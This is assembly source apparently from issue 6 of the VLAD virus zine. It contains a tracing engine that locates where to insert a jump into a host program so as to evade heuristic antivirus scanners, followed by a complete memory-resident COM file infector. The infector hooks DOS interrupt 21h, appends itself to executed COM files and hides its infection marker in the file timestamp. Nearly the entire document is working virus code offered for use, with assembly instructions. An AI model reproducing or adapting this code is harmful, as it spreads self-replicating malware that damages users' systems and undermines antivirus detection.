;
; The VLAD Surface Tracing Engine - VSTE
; by
; Qark [VLAD]
;
;
; This engine works by calculating the length of the instructions, and
; continuously going through code, until it comes to a conditional
; jump, or an opcode it doesn't know. Even though the engine doesn't
; normally tunnel far, because conditional jumps are so common, it is
; extremely effective against heuristical scanners, always giving zero
; flags.
;
; Following the code for VSTE, is the source for a simple example virus.
; Cut and paste it to a separate file and rename this file to trace.asm
; Assemble the example virus using A86.
;
; On Entry:
;
; DS:SI = Offset of buffer to trace through.
; CS = DS = ES
; BX = Filehandle
; Buffer has to be at least 300 bytes long, and the filepointer should
; be as it was, if the buffer was just read.
;
; On Exit:
;
; DX:AX = The file pointer of the place to insert the jump.
; DS:SI = Buffer, whose first byte is the data that needs to be replaced
; by a jump.
;
VSTE:
mov word ptr orig_si,si
mov word ptr last_inst,si
Recurse:
mov ax,word ptr orig_si
cmp si,ax
jb lseek_back
add ax,290
cmp si,ax
jb in_buffer
lseek_back:
call read_opcode
jmp recurse
Read_Opcode:
;Get current file pointer.
mov ax,4201h
xor cx,cx
cwd
int 21h
mov cx,dx
mov dx,ax
mov ax,word ptr orig_si
add ax,300
sub si,ax
jnc forward_seek
neg si
sub dx,si
sbb cx,0
jmp short do_seek
forward_seek:
add dx,si
adc cx,0
do_seek:
mov ax,4200h
int 21h
mov ah,3fh
mov cx,300
mov dx,word ptr orig_si
int 21h
mov si,word ptr orig_si
ret
in_buffer:
;Start checking opcode lengths and acting upon them.
mov al,byte ptr [si]
cmp al,0e9h
je do_jump
cmp al,0e8h
je do_jump
cmp al,0ebh
je do_jumpsh
cmp al,9ah ;callf
je abort
jmp check_opcodes
do_jump:
mov ax,word ptr [si+1]
add ax,3
add si,ax
jmp recurse
do_jumpsh:
mov al,byte ptr [si+1]
add al,2
cbw
add si,ax
jmp recurse
check_opcodes:
;x6 x7 xe xf where 0x-5x = 1 byte =
;4x 5x = 1 byte =
;9x = 1byte except 9ah =
;7x = abort =
;cd = 2 =
;cx where > x7 = abort =
;6x = abort =
;dx where > x3 = abort =
;ex = abort, except in the case of jumps =
;fx = 1 byte, except in x6 x7 xe xf =
;bx where > x7 = 3 bytes, else 2 bytes =
;ax where > x9 = 1 byte, x4-x7 = 1 byte =
;for 0x - 3x, xc 4x = 2 bytes, xd 5x = 3 bytes
;x0 - x3 and x8-xb, 0x - 3x handle r/m
mov ah,al
and ah,0f0h
and al,0fh
;ah=0x al=x0
cmp ah,40h
je one_byte ;dec/inc
cmp ah,50h
je one_byte ;push/pop
cmp ah,60h ;286+
je abort
cmp ah,70h ;cond jumps
je abort
cmp ah,0c0h
je check_int
cmp ah,0e0h ;misc jumps
je abort
cmp ah,90h ;nop etc xchg
je one_byte
cmp ah,0f0h
je handle_fx
cmp ah,0b0h
je handle_bx
cmp ah,0a0h
je handle_ax
cmp ah,0d0h
je handle_dx
cmp ah,80h
je handle_8x
cmp ah,40h
jb handle0_3x
jmp abort
abort:
call read_opcode
mov ax,4201h
xor cx,cx
cwd
int 21h
sub ax,300
sbb dx,0
mov cx,dx
mov dx,ax
mov ax,4200h
int 21h
ret
;----------
;cx comes here
check_int:
cmp al,0dh
je two_byte
cmp al,7
ja abort
cmp al,4
jb abort
jmp handle_rm
;----------
three_byte:
;Move three bytes forward
inc si
two_byte:
;Move two bytes forward
inc si
;Move one byte forward
one_byte:
inc si
jmp recurse
;----------
handle_bx:
cmp al,7
ja three_byte
jmp two_byte
;----------
handle_fx:
and al,6
cmp al,6
jne one_byte
;I think ?
jmp handle_rm
;----------
handle_ax:
cmp al,5
jb do_ax_long
cmp al,8
je do_ax_long
cmp al,9
je do_ax_long
jmp one_byte
do_ax_long:
jmp three_byte
do_ax_short:
jmp two_byte
;----------
handle0_3x:
cmp al,4
je two_byte
cmp al,5
je three_byte
cmp al,6
je one_byte
cmp al,7
je one_byte
cmp al,0ch
je two_byte
cmp al,0dh
je three_byte
cmp al,0eh
jae one_byte
jmp handle_rm
;----------
handle_dx:
cmp al,3
ja abort
;----------
handle_8x:
jmp handle_rm
;----------
handle_rm:
;handles r/m instructions
;handle the 'arop' instructions differently
mov word ptr immediate,0
mov al,byte ptr [si]
cmp al,0c6h
je immed_mov
cmp al,0c7h
je immed_mov
cmp al,80h
jb not_arop
cmp al,83h
ja not_arop
immed_mov:
mov word ptr immediate,1
test al,1
jz not_arop ;must be byte ptr
cmp al,83h
ja word_c7
test al,2
jnz not_arop
word_c7:
mov word ptr immediate,2
not_arop:
;
inc si
mov al,byte ptr [si]
and al,0c0h
cmp al,0c0h
je zerobytedisp
cmp al,0
je checkdisp
cmp al,80h
je twobytedisp
add si,word ptr immediate
jmp two_byte
checkdisp:
mov al,byte ptr [si]
and al,7
cmp al,6
je twobytedisp
zerobytedisp:
add si,word ptr immediate
jmp one_byte
twobytedisp:
add si,word ptr immediate
jmp three_byte
;----------
immediate dw 0
orig_si dw 0 ;The starting address of the buffer
last_inst dw 0 ;The address of the last instruction calculated
==================== cut here =============================================
;
; VSTE test virus.
;
; Tests the surface tracing abilities of the VSTE engine. Seems to work ok
; so far, although programming to fit the engine seems a bit messy.
; This virus is a lame TSR COM infector.
;
org 0
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
cld
call next
next:
pop si
sub si,offset next
mov ax,4b78h
int 21h
cmp ax,784bh
je exit_virus
mov ax,ds
dec ax
mov ds,ax
cmp byte ptr [0],'Z'
jne exit_virus
sub word ptr [12h],((offset v_mem/10h)+1)
sub word ptr [3],((offset v_mem/10h)+1)
mov ax,word ptr [12h]
mov es,ax
push cs
pop ds
xor di,di
mov cx,offset virus_size
push si
rep movsb
;Set int 21.
mov ds,cx
mov si,21h*4
mov di,offset i21
movsw
movsw
mov word ptr [si-4],offset int21handler
mov word ptr [si-2],es
push cs
pop es
pop si
exit_virus:
mov di,100h
org $-2
ret_off dw 100h
mov ax,20cdh
org $-2
f2 dw 20cdh
stosw
mov al,90h
org $-1
f1 db 90h
stosb
sub di,3
sub di,si
sub di,offset jump -1
sub di,3
mov word ptr cs:[si+offset jump],di
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp short $+2
db 0e9h
jump dw 0
db 'TraceVir by Qark/VLAD',0
db 'This virus tests the VSTE engine',0
res_test:
xchg ah,al
iret
int21handler:
cmp ax,4b78h
je res_test
cmp ah,4bh
je infect
int21exit:
db 0eah
i21 dd 0
Infect:
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
mov ax,3d02h
call int21h
jnc open_ok
oinfex:
jmp infect_exit
open_ok:
mov bx,ax
push cs
pop ds
push cs
pop es
mov dx,offset buffer
mov cx,300
mov ah,3fh
call int21h
cmp word ptr buffer,'ZM'
je oinfex
mov ax,5700h
call int21h
mov word ptr time,cx
mov word ptr date,dx
and cl,1fh
cmp cl,2
je oinfex
mov ax,4202h
xor cx,cx
cwd
call int21h
mov word ptr fsize,ax
mov ax,4200h
xor cx,cx
mov dx,300
call int21h
mov si,offset buffer
call vste
push ax
add ax,100h
mov word ptr ret_off,ax
mov ax,word ptr buffer
mov word ptr f2,ax
mov al,byte ptr buffer+2
mov byte ptr f1,al
mov byte ptr buffer,0e9h
pop ax
add ax,3
mov cx,word ptr fsize
sub cx,ax
mov word ptr buffer+1,cx
mov ah,40h
mov cx,300
mov dx,offset buffer
call int21h
mov ax,4202h
xor cx,cx
cwd
call int21h
mov ah,40h
mov cx,offset virus_size
xor dx,dx
call int21h
mov ax,5701h
mov cx,word ptr time
and cl,0e0h
or cl,2
mov dx,word ptr date
call int21h
mov ah,3eh
call int21h
infect_exit:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp int21exit
int21h:
pushf
call dword ptr cs:i21
ret
include trace.asm
fsize dw 0
date dw 0
time dw 0
virus_size:
buffer db 300 dup (0)
v_mem:
- VLAD #6 INDEX -